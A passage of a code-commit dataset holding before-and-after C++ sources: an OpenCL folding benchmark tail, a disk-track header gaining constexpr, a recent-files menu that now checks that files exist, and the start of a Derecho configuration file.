{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\tfor ( unsigned int periodsPerThread = 1; periodsPerThread <= maxItemsPerThread; periodsPerThread++ ) {\n\t\t\t\t\t\tif ( observation.getNrPeriods() % (periodsPerBlock * periodsPerThread) != 0 ) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t} else if ( (DMsPerThread + (2 * periodsPerThread)) > maxItemsPerThread ) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor ( unsigned int binsPerThread = 1; binsPerThread <= maxItemsPerThread; binsPerThread++ ) {\n\t\t\t\t\t\t\tif ( observation.getNrBins() % (binsPerBlock * binsPerThread) != 0 ) {\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t} else if ( (DMsPerThread + (2 * periodsPerThread) + binsPerThread) + (3 * periodsPerThread * binsPerThread) + (2 * DMsPerThread * periodsPerThread * binsPerThread) > maxItemsPerThread ) {\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tvector< unsigned int > parameters;\n\n\t\t\t\t\t\t\tparameters.push_back(DMsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(periodsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(binsPerBlock);\n\t\t\t\t\t\t\tparameters.push_back(DMsPerThread);\n\t\t\t\t\t\t\tparameters.push_back(periodsPerThread);\n\t\t\t\t\t\t\tparameters.push_back(binsPerThread);\n\n\t\t\t\t\t\t\tconfigurations.push_back(parameters);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor ( vector< vector< unsigned int > >::const_iterator parameters = configurations.begin(); parameters != configurations.end(); parameters++ ) {\n\t\ttry {\n\t\t\t\/\/ Generate kernel\n\t\t\tFolding< dataType > clFold(\"clFold\", typeName);\n\t\t\tclFold.bindOpenCL(clContext, &(clDevices->at(clDeviceID)), &((clQueues->at(clDeviceID)).at(0)));\n\t\t\tclFold.setObservation(&observation);\n\t\t\tclFold.setNrSamplesPerBin(nrSamplesPerBin);\n\t\t\tclFold.setNrDMsPerBlock((*parameters)[0]);\n\t\t\tclFold.setNrPeriodsPerBlock((*parameters)[1]);\n\t\t\tclFold.setNrBinsPerBlock((*parameters)[2]);\n\t\t\tclFold.setNrDMsPerThread((*parameters)[3]);\n\t\t\tclFold.setNrPeriodsPerThread((*parameters)[4]);\n\t\t\tclFold.setNrBinsPerThread((*parameters)[5]);\n\t\t\tclFold.generateCode();\n\n\t\t\tfoldedData->copyHostToDevice();\n\t\t\tclFold(0, dedispersedData, foldedData, readCounterData, writeCounterData);\n\t\t\t(clFold.getTimer()).reset();\n\t\t\tclFold.resetStats();\n\t\t\t\n\t\t\tfor ( unsigned int iteration = 0; iteration < nrIterations; iteration++ ) {\n\t\t\t\tfoldedData->copyHostToDevice();\n\t\t\t\tclFold(0, dedispersedData, foldedData, readCounterData, writeCounterData);\n\t\t\t}\n\n\t\t\tcout << observation.getNrDMs() << \" \" << observation.getNrPeriods() << \" \" << observation.getFirstPeriod() << \" \" << observation.getPeriodStep() << \" \" << observation.getNrBins() << \" \" << observation.getNrSamplesPerSecond() << \" \" << (*parameters)[0] << \" \" << (*parameters)[1] << \" \" << (*parameters)[2] << \" \" << (*parameters)[3] << \" \" << (*parameters)[4] << \" \" << (*parameters)[5] << \" \" << setprecision(3) << clFold.getGFLOPs() << \" \" << clFold.getGFLOPsErr() << \" \" << setprecision(6) << clFold.getTimer().getAverageTime() << \" \" << clFold.getTimer().getStdDev() << endl;\n\t\t} catch ( OpenCLError err ) {\n\t\t\tcerr << err.what() << endl;\n\t\t\tcontinue;\n\t\t}\n\t}\n\n\tcout << endl;\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  Track.hpp\n\/\/  Clock Signal\n\/\/\n\/\/  Created by Thomas Harte on 22\/09\/2017.\n\/\/  Copyright 2017 Thomas Harte. All rights reserved.\n\/\/\n\n#ifndef Track_h\n#define Track_h\n\n#include \"..\/..\/Storage.hpp\"\n#include <tuple>\n\nnamespace Storage {\nnamespace Disk {\n\n\/*!\n\tContains a head position, with some degree of sub-integral precision.\n*\/\nclass HeadPosition {\n\tpublic:\n\t\t\/\/\/ Creates an instance decribing position @c value at a resolution of @c scale ticks per track.\n\t\tHeadPosition(int value, int scale) : position_(value * (4\/scale)) {}\n\t\texplicit HeadPosition(int value) : HeadPosition(value, 1) {}\n\t\tHeadPosition() : HeadPosition(0) {}\n\n\t\t\/\/\/ @returns the whole number part of the position.\n\t\tint as_int() const { return position_ >> 2; }\n\t\t\/\/\/ @returns n where n\/2 is the head position.\n\t\tint as_half() const { return position_ >> 1; }\n\t\t\/\/\/ @returns n where n\/4 is the head position.\n\t\tint as_quarter() const { return position_; }\n\n\t\t\/\/\/ @returns the head position at maximal but unspecified precision.\n\t\tint as_largest() const { return as_quarter(); }\n\n\t\tHeadPosition &operator +=(const HeadPosition &rhs) {\n\t\t\tposition_ += rhs.position_;\n\t\t\treturn *this;\n\t\t}\n\t\tbool operator ==(const HeadPosition &rhs) const {\n\t\t\treturn position_ == rhs.position_;\n\t\t}\n\t\tbool operator !=(const HeadPosition &rhs) const {\n\t\t\treturn position_ != rhs.position_;\n\t\t}\n\t\tbool operator <(const HeadPosition &rhs) const {\n\t\t\treturn position_ < rhs.position_;\n\t\t}\n\t\tbool operator <=(const HeadPosition &rhs) const {\n\t\t\treturn position_ <= rhs.position_;\n\t\t}\n\t\tbool operator >(const HeadPosition &rhs) const {\n\t\t\treturn position_ > rhs.position_;\n\t\t}\n\t\tbool operator >=(const HeadPosition &rhs) const {\n\t\t\treturn position_ >= rhs.position_;\n\t\t}\n\n\tprivate:\n\t\tint position_ = 0;\n};\n\n\/*!\n\tModels a single track on a disk as a series of events, each event being of arbitrary length\n\tand resulting in either a flux transition or the sensing of an index hole.\n\n\tSubclasses should implement @c get_next_event.\n*\/\nclass Track {\n\tpublic:\n\t\tvirtual ~Track() {}\n\n\t\t\/*!\n\t\t\tDescribes the location of a track, implementing < to allow for use as a set key.\n\t\t*\/\n\t\tstruct Address {\n\t\t\tint head;\n\t\t\tHeadPosition position;\n\n\t\t\tbool operator < (const Address &rhs) const {\n\t\t\t\tint largest_position = position.as_largest();\n\t\t\t\tint rhs_largest_position = rhs.position.as_largest();\n\t\t\t\treturn std::tie(head, largest_position) < std::tie(rhs.head, rhs_largest_position);\n\t\t\t}\n\t\t\tAddress(int head, HeadPosition position) : head(head), position(position) {}\n\t\t};\n\n\t\t\/*!\n\t\t\tDescribes a detectable track event: either a flux transition or the passing of the index hole,\n\t\t\talong with the length of time between the previous event and its occurance.\n\n\t\t\tThe sum of all lengths of time across an entire track should be 1; if an event is said to be\n\t\t\t1\/3 away then that means 1\/3 of a rotation.\n\t\t*\/\n\t\tstruct Event {\n\t\t\tenum Type {\n\t\t\t\tIndexHole, FluxTransition\n\t\t\t} type;\n\t\t\tTime length;\n\t\t};\n\n\t\t\/*!\n\t\t\t@returns the next event that will be detected during rotation of this disk.\n\t\t*\/\n\t\tvirtual Event get_next_event() = 0;\n\n\t\t\/*!\n\t\t\tJumps to the event latest offset that is less than or equal to the input time.\n\n\t\t\t@returns the time jumped to.\n\t\t*\/\n\t\tvirtual Time seek_to(const Time &time_since_index_hole) = 0;\n\n\t\t\/*!\n\t\t\tThe virtual copy constructor pattern; returns a copy of the Track.\n\t\t*\/\n\t\tvirtual Track *clone() const = 0;\n};\n\n}\n}\n\n#endif \/* Track_h *\/\n<commit_msg>Enhances with `constexpr`.<commit_after>\/\/\n\/\/  Track.hpp\n\/\/  Clock Signal\n\/\/\n\/\/  Created by Thomas Harte on 22\/09\/2017.\n\/\/  Copyright 2017 Thomas Harte. All rights reserved.\n\/\/\n\n#ifndef Track_h\n#define Track_h\n\n#include \"..\/..\/Storage.hpp\"\n#include <tuple>\n\nnamespace Storage {\nnamespace Disk {\n\n\/*!\n\tContains a head position, with some degree of sub-integral precision.\n*\/\nclass HeadPosition {\n\tpublic:\n\t\t\/\/\/ Creates an instance decribing position @c value at a resolution of @c scale ticks per track.\n\t\tconstexpr HeadPosition(int value, int scale) : position_(value * (4\/scale)) {}\n\t\tconstexpr explicit HeadPosition(int value) : HeadPosition(value, 1) {}\n\t\tconstexpr HeadPosition() : HeadPosition(0) {}\n\n\t\t\/\/\/ @returns the whole number part of the position.\n\t\tconstexpr int as_int() const { return position_ >> 2; }\n\t\t\/\/\/ @returns n where n\/2 is the head position.\n\t\tconstexpr int as_half() const { return position_ >> 1; }\n\t\t\/\/\/ @returns n where n\/4 is the head position.\n\t\tconstexpr int as_quarter() const { return position_; }\n\n\t\t\/\/\/ @returns the head position at maximal but unspecified precision.\n\t\tconstexpr int as_largest() const { return as_quarter(); }\n\n\t\tHeadPosition &operator +=(const HeadPosition &rhs) {\n\t\t\tposition_ += rhs.position_;\n\t\t\treturn *this;\n\t\t}\n\t\tconstexpr bool operator ==(const HeadPosition &rhs) const {\n\t\t\treturn position_ == rhs.position_;\n\t\t}\n\t\tconstexpr bool operator !=(const HeadPosition &rhs) const {\n\t\t\treturn position_ != rhs.position_;\n\t\t}\n\t\tconstexpr bool operator <(const HeadPosition &rhs) const {\n\t\t\treturn position_ < rhs.position_;\n\t\t}\n\t\tconstexpr bool operator <=(const HeadPosition &rhs) const {\n\t\t\treturn position_ <= rhs.position_;\n\t\t}\n\t\tconstexpr bool operator >(const HeadPosition &rhs) const {\n\t\t\treturn position_ > rhs.position_;\n\t\t}\n\t\tconstexpr bool operator >=(const HeadPosition &rhs) const {\n\t\t\treturn position_ >= rhs.position_;\n\t\t}\n\n\tprivate:\n\t\tint position_ = 0;\n};\n\n\/*!\n\tModels a single track on a disk as a series of events, each event being of arbitrary length\n\tand resulting in either a flux transition or the sensing of an index hole.\n\n\tSubclasses should implement @c get_next_event.\n*\/\nclass Track {\n\tpublic:\n\t\tvirtual ~Track() {}\n\n\t\t\/*!\n\t\t\tDescribes the location of a track, implementing < to allow for use as a set key.\n\t\t*\/\n\t\tstruct Address {\n\t\t\tint head;\n\t\t\tHeadPosition position;\n\n\t\t\tconstexpr bool operator < (const Address &rhs) const {\n\t\t\t\tint largest_position = position.as_largest();\n\t\t\t\tint rhs_largest_position = rhs.position.as_largest();\n\t\t\t\treturn std::tie(head, largest_position) < std::tie(rhs.head, rhs_largest_position);\n\t\t\t}\n\t\t\tAddress(int head, HeadPosition position) : head(head), position(position) {}\n\t\t};\n\n\t\t\/*!\n\t\t\tDescribes a detectable track event: either a flux transition or the passing of the index hole,\n\t\t\talong with the length of time between the previous event and its occurance.\n\n\t\t\tThe sum of all lengths of time across an entire track should be 1; if an event is said to be\n\t\t\t1\/3 away then that means 1\/3 of a rotation.\n\t\t*\/\n\t\tstruct Event {\n\t\t\tenum Type {\n\t\t\t\tIndexHole, FluxTransition\n\t\t\t} type;\n\t\t\tTime length;\n\t\t};\n\n\t\t\/*!\n\t\t\t@returns the next event that will be detected during rotation of this disk.\n\t\t*\/\n\t\tvirtual Event get_next_event() = 0;\n\n\t\t\/*!\n\t\t\tJumps to the event latest offset that is less than or equal to the input time.\n\n\t\t\t@returns the time jumped to.\n\t\t*\/\n\t\tvirtual Time seek_to(const Time &time_since_index_hole) = 0;\n\n\t\t\/*!\n\t\t\tThe virtual copy constructor pattern; returns a copy of the Track.\n\t\t*\/\n\t\tvirtual Track *clone() const = 0;\n};\n\n}\n}\n\n#endif \/* Track_h *\/\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n\n  This source file is part of the TEM tomography project.\n\n  Copyright Kitware, Inc.\n\n  This source code is released under the New BSD License, (the \"License\").\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n******************************************************************************\/\n#include \"RecentFilesMenu.h\"\n\n#include \"ActiveObjects.h\"\n#include \"DataSource.h\"\n#include \"LoadDataReaction.h\"\n#include \"pqPipelineSource.h\"\n#include \"pqSettings.h\"\n#include \"SaveLoadStateReaction.h\"\n#include \"Utilities.h\"\n#include \"vtkNew.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkSMCoreUtilities.h\"\n#include \"vtkSMParaViewPipelineController.h\"\n#include \"vtkSMPropertyHelper.h\"\n#include \"vtkSMSessionProxyManager.h\"\n#include \"vtkSMSourceProxy.h\"\n\n#include <QMenu>\n#include <sstream>\n#include <string>\n\nnamespace TEM\n{\n\nstatic const int MAX_ITEMS = 10;\n\nvoid get_settings(pugi::xml_document& doc)\n  {\n  QSettings* settings = pqApplicationCore::instance()->settings();\n  QString recent = settings->value(\"recentFiles\").toString();\n  if (recent.isEmpty() || !doc.load(recent.toUtf8().data()) || !doc.child(\"TEMRecentFilesMenu\"))\n    {\n    doc.append_child(\"TEMRecentFilesMenu\");\n    }\n  }\n\nvoid save_settings(pugi::xml_document &doc)\n  {\n  \/\/ trim the list.\n  pugi::xml_node root = doc.root();\n  std::vector<pugi::xml_node> to_remove;\n  int counter=0;\n  for (pugi::xml_node node = root.child(\"DataReader\"); node;\n       node = node.next_sibling(\"DataReader\"), counter++)\n    {\n    if (counter >= MAX_ITEMS)\n      {\n      to_remove.push_back(node);\n      }\n    }\n  counter=0;\n  for (pugi::xml_node node = root.child(\"State\"); node;\n       node = node.next_sibling(\"State\"), counter++)\n    {\n    if (counter >= MAX_ITEMS)\n      {\n      to_remove.push_back(node);\n      }\n    }\n  for (size_t cc = 0; cc < to_remove.size(); cc++)\n    {\n    root.remove_child(to_remove[cc]);\n    }\n\n  std::ostringstream stream;\n  doc.save(stream);\n  QSettings* settings = pqApplicationCore::instance()->settings();\n  settings->setValue(\"recentFiles\", stream.str().c_str());\n  }\n\n\/\/-------------------------------------------------------------------------\nRecentFilesMenu::RecentFilesMenu(QMenu& menu, QObject* parentObject)\n  : Superclass(parentObject)\n{\n  this->connect(&menu, SIGNAL(aboutToShow()), SLOT(aboutToShowMenu()));\n}\n\n\/\/-------------------------------------------------------------------------\nRecentFilesMenu::~RecentFilesMenu()\n{\n}\n\n\/\/-------------------------------------------------------------------------\nvoid RecentFilesMenu::pushDataReader(vtkSMProxy* readerProxy)\n{\n  pugi::xml_document settings;\n  get_settings(settings);\n\n  pugi::xml_node root = settings.root();\n  const char* pname = vtkSMCoreUtilities::GetFileNameProperty(readerProxy);\n  if (pname)\n    {\n    const char* filename = vtkSMPropertyHelper(readerProxy,\n                                               pname).GetAsString(0);\n    for (pugi::xml_node node = root.child(\"DataReader\"); node;\n         node = node.next_sibling(\"DataReader\"))\n      {\n      if (strcmp(node.attribute(\"filename0\").as_string(\"\"), filename) == 0)\n        {\n        root.remove_child(node);\n        break;\n        }\n      }\n    pugi::xml_node node = root.prepend_child(\"DataReader\");\n    node.append_attribute(\"filename0\").set_value(filename);\n    node.append_attribute(\"xmlgroup\").set_value(readerProxy->GetXMLGroup());\n    node.append_attribute(\"xmlname\").set_value(readerProxy->GetXMLName());\n    TEM::serialize(readerProxy, node);\n\n    save_settings(settings);\n    }\n}\n\n\/\/-------------------------------------------------------------------------\nvoid RecentFilesMenu::pushStateFile(const QString& filename)\n{\n  pugi::xml_document settings;\n  get_settings(settings);\n\n  pugi::xml_node root = settings.root();\n  for (pugi::xml_node node = root.child(\"State\"); node;\n       node = node.next_sibling(\"State\"))\n    {\n    if (filename == node.attribute(\"filename\").as_string(\"\"))\n      {\n      root.remove_child(node);\n      break;\n      }\n    }\n\n  pugi::xml_node node = root.prepend_child(\"State\");\n  node.append_attribute(\"filename\").set_value(filename.toLatin1().data());\n  save_settings(settings);\n}\n\n\/\/-------------------------------------------------------------------------\nvoid RecentFilesMenu::aboutToShowMenu()\n{\n  QMenu* menu = qobject_cast<QMenu*>(this->sender());\n  Q_ASSERT(menu);\n  menu->clear();\n\n  pugi::xml_document settings;\n  get_settings(settings);\n\n  pugi::xml_node root = settings.root();\n  if (!root.child(\"DataReader\") && !root.child(\"State\"))\n    {\n    QAction* actn = menu->addAction(\"Empty\");\n    actn->setEnabled(false);\n    return;\n    }\n\n  bool header_added = false;\n  int index=0;\n  for (pugi::xml_node node = root.child(\"DataReader\"); node;\n       node = node.next_sibling(\"DataReader\"))\n    {\n    if (header_added == false)\n      {\n      QAction* actn = menu->addAction(\"Datasets\");\n      actn->setEnabled(false);\n      header_added = true;\n      }\n    QAction* actn = menu->addAction(QIcon(\":\/pqWidgets\/Icons\/pqInspect22.png\"),\n      node.attribute(\"filename0\").as_string(\"<bug>\"));\n    actn->setData(index);\n    this->connect(actn, SIGNAL(triggered()), SLOT(dataSourceTriggered()));\n    index++;\n    }\n\n  header_added = false;\n  for (pugi::xml_node node = root.child(\"State\"); node;\n       node = node.next_sibling(\"State\"))\n    {\n    if (header_added == false)\n      {\n      QAction* actn = menu->addAction(\"State files\");\n      actn->setEnabled(false);\n      header_added = true;\n      }\n    QAction* actn = menu->addAction(QIcon(\":\/icons\/tomviz.png\"),\n      node.attribute(\"filename\").as_string(\"<bug>\"));\n    actn->setData(node.attribute(\"filename\").as_string(\"<bug>\"));\n    this->connect(actn, SIGNAL(triggered()), SLOT(stateTriggered()));\n    index++;\n    }\n}\n\n\/\/-------------------------------------------------------------------------\nvoid RecentFilesMenu::dataSourceTriggered()\n{\n  QAction* actn = qobject_cast<QAction*>(this->sender());\n  Q_ASSERT(actn);\n\n  int index = actn->data().toInt();\n  pugi::xml_document settings;\n  get_settings(settings);\n  pugi::xml_node root = settings.root();\n\n  for (pugi::xml_node node = root.child(\"DataReader\"); node;\n       node = node.next_sibling(\"DataReader\"), --index)\n    {\n    if (index == 0)\n      {\n      vtkSMSessionProxyManager* pxm = ActiveObjects::instance().proxyManager();\n      vtkSmartPointer<vtkSMProxy> reader;\n      reader.TakeReference(pxm->NewProxy(node.attribute(\"xmlgroup\").as_string(),\n                                         node.attribute(\"xmlname\").as_string()));\n      if (TEM::deserialize(reader, node))\n        {\n        reader->UpdateVTKObjects();\n        vtkSMSourceProxy::SafeDownCast(reader)->UpdatePipelineInformation();\n        if (LoadDataReaction::createDataSource(reader))\n          {\n          \/\/ reorder the nodes to move the recently opened file to the top.\n          root.prepend_copy(node);\n          root.remove_child(node);\n          save_settings(settings);\n          return;\n          }\n        }\n      \/\/ failed to create reader, remove the node.\n      root.remove_child(node);\n      save_settings(settings);\n      return;\n      }\n    }\n}\n\n\/\/-------------------------------------------------------------------------\nvoid RecentFilesMenu::stateTriggered()\n{\n  QAction* actn = qobject_cast<QAction*>(this->sender());\n  Q_ASSERT(actn);\n\n  QString filename = actn->data().toString();\n  if (SaveLoadStateReaction::loadState(filename))\n    {\n    \/\/ the above call will ensure that the file name moves to top of the list\n    \/\/ since it calls pushStateFile() on success.\n    return;\n    }\n\n  \/\/ remove the item from the recent state files list.\n  pugi::xml_document settings;\n  get_settings(settings);\n  pugi::xml_node root = settings.root();\n  for (pugi::xml_node node = root.child(\"State\"); node;\n       node = node.next_sibling(\"State\"))\n    {\n    if (filename == node.attribute(\"filename\").as_string())\n      {\n      root.remove_child(node);\n      save_settings(settings);\n      break;\n      }\n    }\n}\n\n}\n<commit_msg>Check if recent file still exists before loading it<commit_after>\/******************************************************************************\n\n  This source file is part of the TEM tomography project.\n\n  Copyright Kitware, Inc.\n\n  This source code is released under the New BSD License, (the \"License\").\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n******************************************************************************\/\n#include \"RecentFilesMenu.h\"\n\n#include \"ActiveObjects.h\"\n#include \"DataSource.h\"\n#include \"LoadDataReaction.h\"\n#include \"pqPipelineSource.h\"\n#include \"pqSettings.h\"\n#include \"SaveLoadStateReaction.h\"\n#include \"Utilities.h\"\n#include \"vtkNew.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkSMCoreUtilities.h\"\n#include \"vtkSMParaViewPipelineController.h\"\n#include \"vtkSMPropertyHelper.h\"\n#include \"vtkSMSessionProxyManager.h\"\n#include \"vtkSMSourceProxy.h\"\n\n#include <QMenu>\n#include <QDebug>\n#include <sstream>\n#include <string>\n\nnamespace TEM\n{\n\nstatic const int MAX_ITEMS = 10;\n\nvoid get_settings(pugi::xml_document& doc)\n  {\n  QSettings* settings = pqApplicationCore::instance()->settings();\n  QString recent = settings->value(\"recentFiles\").toString();\n  if (recent.isEmpty() || !doc.load(recent.toUtf8().data()) || !doc.child(\"TEMRecentFilesMenu\"))\n    {\n    doc.append_child(\"TEMRecentFilesMenu\");\n    }\n  }\n\nvoid save_settings(pugi::xml_document &doc)\n  {\n  \/\/ trim the list.\n  pugi::xml_node root = doc.root();\n  std::vector<pugi::xml_node> to_remove;\n  int counter=0;\n  for (pugi::xml_node node = root.child(\"DataReader\"); node;\n       node = node.next_sibling(\"DataReader\"), counter++)\n    {\n    if (counter >= MAX_ITEMS)\n      {\n      to_remove.push_back(node);\n      }\n    }\n  counter=0;\n  for (pugi::xml_node node = root.child(\"State\"); node;\n       node = node.next_sibling(\"State\"), counter++)\n    {\n    if (counter >= MAX_ITEMS)\n      {\n      to_remove.push_back(node);\n      }\n    }\n  for (size_t cc = 0; cc < to_remove.size(); cc++)\n    {\n    root.remove_child(to_remove[cc]);\n    }\n\n  std::ostringstream stream;\n  doc.save(stream);\n  QSettings* settings = pqApplicationCore::instance()->settings();\n  settings->setValue(\"recentFiles\", stream.str().c_str());\n  }\n\n\/\/-------------------------------------------------------------------------\nRecentFilesMenu::RecentFilesMenu(QMenu& menu, QObject* parentObject)\n  : Superclass(parentObject)\n{\n  this->connect(&menu, SIGNAL(aboutToShow()), SLOT(aboutToShowMenu()));\n}\n\n\/\/-------------------------------------------------------------------------\nRecentFilesMenu::~RecentFilesMenu()\n{\n}\n\n\/\/-------------------------------------------------------------------------\nvoid RecentFilesMenu::pushDataReader(vtkSMProxy* readerProxy)\n{\n  pugi::xml_document settings;\n  get_settings(settings);\n\n  pugi::xml_node root = settings.root();\n  const char* pname = vtkSMCoreUtilities::GetFileNameProperty(readerProxy);\n  if (pname)\n    {\n    const char* filename = vtkSMPropertyHelper(readerProxy,\n                                               pname).GetAsString(0);\n    for (pugi::xml_node node = root.child(\"DataReader\"); node;\n         node = node.next_sibling(\"DataReader\"))\n      {\n      if (strcmp(node.attribute(\"filename0\").as_string(\"\"), filename) == 0)\n        {\n        root.remove_child(node);\n        break;\n        }\n      }\n    pugi::xml_node node = root.prepend_child(\"DataReader\");\n    node.append_attribute(\"filename0\").set_value(filename);\n    node.append_attribute(\"xmlgroup\").set_value(readerProxy->GetXMLGroup());\n    node.append_attribute(\"xmlname\").set_value(readerProxy->GetXMLName());\n    TEM::serialize(readerProxy, node);\n\n    save_settings(settings);\n    }\n}\n\n\/\/-------------------------------------------------------------------------\nvoid RecentFilesMenu::pushStateFile(const QString& filename)\n{\n  pugi::xml_document settings;\n  get_settings(settings);\n\n  pugi::xml_node root = settings.root();\n  for (pugi::xml_node node = root.child(\"State\"); node;\n       node = node.next_sibling(\"State\"))\n    {\n    if (filename == node.attribute(\"filename\").as_string(\"\"))\n      {\n      root.remove_child(node);\n      break;\n      }\n    }\n\n  pugi::xml_node node = root.prepend_child(\"State\");\n  node.append_attribute(\"filename\").set_value(filename.toLatin1().data());\n  save_settings(settings);\n}\n\n\/\/-------------------------------------------------------------------------\nvoid RecentFilesMenu::aboutToShowMenu()\n{\n  QMenu* menu = qobject_cast<QMenu*>(this->sender());\n  Q_ASSERT(menu);\n  menu->clear();\n\n  pugi::xml_document settings;\n  get_settings(settings);\n\n  pugi::xml_node root = settings.root();\n  if (!root.child(\"DataReader\") && !root.child(\"State\"))\n    {\n    QAction* actn = menu->addAction(\"Empty\");\n    actn->setEnabled(false);\n    return;\n    }\n\n  bool header_added = false;\n  int index=0;\n  for (pugi::xml_node node = root.child(\"DataReader\"); node;\n       node = node.next_sibling(\"DataReader\"))\n    {\n    if (header_added == false)\n      {\n      QAction* actn = menu->addAction(\"Datasets\");\n      actn->setEnabled(false);\n      header_added = true;\n      }\n    QFileInfo checkFile(node.attribute(\"filename0\").as_string(\"<bug>\"));\n    if (checkFile.exists())\n      {\n      QAction* actn = menu->addAction(QIcon(\":\/pqWidgets\/Icons\/pqInspect22.png\"),\n        node.attribute(\"filename0\").as_string(\"<bug>\"));\n      actn->setData(index);\n      this->connect(actn, SIGNAL(triggered()), SLOT(dataSourceTriggered()));\n      }\n    index++;\n    }\n\n  header_added = false;\n  for (pugi::xml_node node = root.child(\"State\"); node;\n       node = node.next_sibling(\"State\"))\n    {\n    if (header_added == false)\n      {\n      QAction* actn = menu->addAction(\"State files\");\n      actn->setEnabled(false);\n      header_added = true;\n      }\n    QFileInfo checkFile(node.attribute(\"filename\").as_string(\"<bug>\"));\n    if (checkFile.exists())\n      {\n      QAction* actn = menu->addAction(QIcon(\":\/icons\/tomviz.png\"),\n        node.attribute(\"filename\").as_string(\"<bug>\"));\n      actn->setData(node.attribute(\"filename\").as_string(\"<bug>\"));\n      this->connect(actn, SIGNAL(triggered()), SLOT(stateTriggered()));\n      }\n    index++;\n    }\n}\n\n\/\/-------------------------------------------------------------------------\nvoid RecentFilesMenu::dataSourceTriggered()\n{\n  QAction* actn = qobject_cast<QAction*>(this->sender());\n  Q_ASSERT(actn);\n\n  QFileInfo checkFile(actn->iconText());\n  if (!checkFile.exists())\n    {\n    \/\/ This should never happen since the checks in aboutToShowMenu should\n    \/\/ prevent it, but just in case...\n    qWarning() << \"Error: file '\" << actn->iconText()\n               << \"' does not exist.\";\n    return;\n    }\n\n  int index = actn->data().toInt();\n  pugi::xml_document settings;\n  get_settings(settings);\n  pugi::xml_node root = settings.root();\n\n  for (pugi::xml_node node = root.child(\"DataReader\"); node;\n       node = node.next_sibling(\"DataReader\"), --index)\n    {\n    if (index == 0)\n      {\n      vtkSMSessionProxyManager* pxm = ActiveObjects::instance().proxyManager();\n      vtkSmartPointer<vtkSMProxy> reader;\n      reader.TakeReference(pxm->NewProxy(node.attribute(\"xmlgroup\").as_string(),\n                                         node.attribute(\"xmlname\").as_string()));\n      if (TEM::deserialize(reader, node))\n        {\n        reader->UpdateVTKObjects();\n        vtkSMSourceProxy::SafeDownCast(reader)->UpdatePipelineInformation();\n        if (LoadDataReaction::createDataSource(reader))\n          {\n          \/\/ reorder the nodes to move the recently opened file to the top.\n          root.prepend_copy(node);\n          root.remove_child(node);\n          save_settings(settings);\n          return;\n          }\n        }\n      \/\/ failed to create reader, remove the node.\n      root.remove_child(node);\n      save_settings(settings);\n      return;\n      }\n    }\n}\n\n\/\/-------------------------------------------------------------------------\nvoid RecentFilesMenu::stateTriggered()\n{\n  QAction* actn = qobject_cast<QAction*>(this->sender());\n  Q_ASSERT(actn);\n\n  QFileInfo checkFile(actn->iconText());\n  if (!checkFile.exists())\n    {\n    \/\/ This should never happen since the checks in aboutToShowMenu should\n    \/\/ prevent it, but just in case...\n    qWarning() << \"Error: file '\" << actn->iconText()\n               << \"' does not exist.\";\n    return;\n    }\n\n  QString filename = actn->data().toString();\n  if (SaveLoadStateReaction::loadState(filename))\n    {\n    \/\/ the above call will ensure that the file name moves to top of the list\n    \/\/ since it calls pushStateFile() on success.\n    return;\n    }\n\n  \/\/ remove the item from the recent state files list.\n  pugi::xml_document settings;\n  get_settings(settings);\n  pugi::xml_node root = settings.root();\n  for (pugi::xml_node node = root.child(\"State\"); node;\n       node = node.next_sibling(\"State\"))\n    {\n    if (filename == node.attribute(\"filename\").as_string())\n      {\n      root.remove_child(node);\n      save_settings(settings);\n      break;\n      }\n    }\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"conf.hpp\"\n#include <cstdlib>\n#include <sys\/stat.h>\n#include <unistd.h>\n#ifndef NDEBUG\n#include <spdlog\/sinks\/stdout_color_sinks.h>\n#endif  \/\/NDEBUG\n\nnamespace derecho {\n\nstatic const char* default_conf_file = \"derecho.cfg\";\n\nstd::unique_ptr<Conf> Conf::singleton = nullptr;\n\nstd::atomic<uint32_t> Conf::singleton_initialized_flag = 0;\n#define CONF_UNINITIALIZED (0)\n#define CONF_INITIALIZING (1)\n#define CONF_INITIALIZED (2)\n\n#define MAKE_LONG_OPT_ENTRY(x) \\\n    { x, required_argument, 0, 0 }\nstruct option Conf::long_options[] = {\n        \/\/ [DERECHO]\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_LEADER_IP),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_LEADER_GMS_PORT),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_LOCAL_ID),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_LOCAL_IP),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_GMS_PORT),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_RPC_PORT),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_SST_PORT),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_RDMC_PORT),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_MAX_PAYLOAD_SIZE),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_MAX_SMC_PAYLOAD_SIZE),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_BLOCK_SIZE),\n        MAKE_LONG_OPT_ENTRY(CONF_DERECHO_WINDOW_SIZE),\n        